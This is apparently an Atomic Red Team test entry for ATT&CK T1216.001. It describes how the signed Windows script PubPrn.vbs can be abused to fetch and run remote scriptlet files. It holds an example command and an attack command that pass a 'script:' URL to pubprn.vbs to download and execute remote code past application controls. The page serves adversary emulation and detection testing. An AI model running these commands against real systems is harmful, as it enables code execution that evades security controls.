T1216.001
Signed Script Proxy Execution: Pubprn
Description from ATT&CK
Adversaries may use PubPrn to proxy execution of malicious remote files. PubPrn.vbs is a Visual Basic script that publishes a printer to Active Directory Domain Services. The script may be signed by Microsoft and is commonly executed through the Windows Command Shell via Cscript.exe. For example, the following code publishes a printer within the specified domain: cscript pubprn Printer1 LDAP://CN=Container1,DC=Domain1,DC=Com.(Citation: pubprn)
Adversaries may abuse PubPrn to execute malicious payloads hosted on remote sites.(Citation: Enigma0x3 PubPrn Bypass) To do so, adversaries may set the second script: parameter to reference a scriptlet file (.sct) hosted on a remote site. An example command is pubprn.vbs 127.0.0.1 script:https://mydomain.com/folder/file.sct. This behavior may bypass signature validation restrictions and application control solutions that do not account for abuse of this script.
In later versions of Windows (10+), PubPrn.vbs has been updated to prevent proxying execution from a remote site. This is done by limiting the protocol specified in the second parameter to LDAP://, vice the script: moniker which could be used to reference remote code via HTTP(S).
Atomic Tests
Atomic Test #1 - PubPrn.vbs Signed Script Bypass
Executes the signed PubPrn.vbs script with options to download and execute an arbitrary payload.
Supported Platforms: windows
auto_generated_guid: 9dd29a1f-1e16-4862-be83-913b10a88f6c
Inputs:
| Name | Description | Type | Default Value |
|---|---|---|---|
| remote_payload | A remote payload to execute using PubPrn.vbs. | url | https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1216.001/src/T1216.001.sct |
Attack Commands: Run with command_prompt!
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cscript.exe /b C:\Windows\System32\Printing_Admin_Scripts\en-US\pubprn.vbs localhost "script:#{remote_payload}"